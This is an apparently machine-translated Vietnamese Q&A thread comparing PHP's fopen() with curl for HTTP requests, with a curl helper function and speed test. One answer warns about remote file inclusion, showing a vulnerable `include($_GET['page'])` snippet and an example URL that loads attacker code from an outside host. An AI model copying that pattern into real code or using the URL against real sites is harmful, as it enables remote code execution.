2009-03-11 32 views
5

Tôi đang viết một số mã sẽ cần nói chuyện với một dịch vụ web qua HTTP (s). Trong quá khứ tôi đã sử dụng thư viện curl. Gần đây, tôi nhận thấy rằng tôi chỉ có thể sử dụng fopen() để truy cập một URL từ xa và nó có vẻ đơn giản hơn rất nhiều.

Curl có vẻ được cấu hình nhiều hơn, có rất nhiều tùy chọn. Ngoài khả năng cấu hình đó, liệu phương pháp đó có được sử dụng không? Nếu vậy, đó là tốt hơn và tại sao?

Trả lời

13

fopen() sẽ chỉ mở URL từ xa nếu allow_fopen_url được bật trong php.ini.

Tuy nhiên, trong các phiên bản trước 5.2.0, điều này cực kỳ nguy hiểm vì chức năng include cũng sẽ tải xuống và phân tích cú pháp mã PHP từ các trang web từ xa. Một coder ngây thơ có thể dễ dàng bị bắt ra với các mã như:

<?php 
    $page = $_GET['page']; 
    include($page); 
?> 

lúc này kẻ tấn công chỉ có yêu cầu http://example.com/script.php?page=http://example.net/my_exploit_script để thực thi mã riêng của họ trên hệ thống và giới thiệu một khai thác. Rất tiếc, giá trị mặc định cho allow_fopen_url là 'bật'.

May mắn thay, vì 5.2.0 có một cài đặt riêng biệt (trong đó nên mặc định là 'tắt') được gọi là allow_url_include, ngăn không cho tải xuống mã từ xa include.

Cá nhân, nếu bạn có tùy chọn sử dụng Curl, hãy sử dụng tùy chọn đó thay vì fopen.

+0

Tốt sâu sắc câu trả lời 1 – alex

15

Như Alnitak đã nói, việc sử dụng CURL không phụ thuộc vào cài đặt PHP. tôi đã thực hiện một số xét nghiệm tốc độ

file_get_contents 

với tôi

function file_get_contents_curl($url) { 
    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_URL, $url); 

    $data = curl_exec($ch); 
    curl_close($ch); 

    return $data; 
} 

Kết quả:

0.263456821442 
0.0626730918884 

CURL được nhanh hơn 4 lần :)

+0

Cám ơn kiểm tra tốc độ. Câu trả lời hay nhất +1 – alex

+0

Chỉ là những gì tôi đang tìm kiếm. +1 – Domenic

5

mặt lưu ý: Chương trình PHP có thể được định cấu hình để sử dụng curl cho http url_wrapper thay vì sử dụng triển khai "riêng của nó".

ext/curl/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS 
# if HAVE_CURL_VERSION_INFO 
    { 
     curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); 
     char **p = (char **)info->protocols; 

     while (*p != NULL) { 
      php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); 
     } 
    } 
# else 
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); 
# endif 
#endif
Các vấn đề liên quan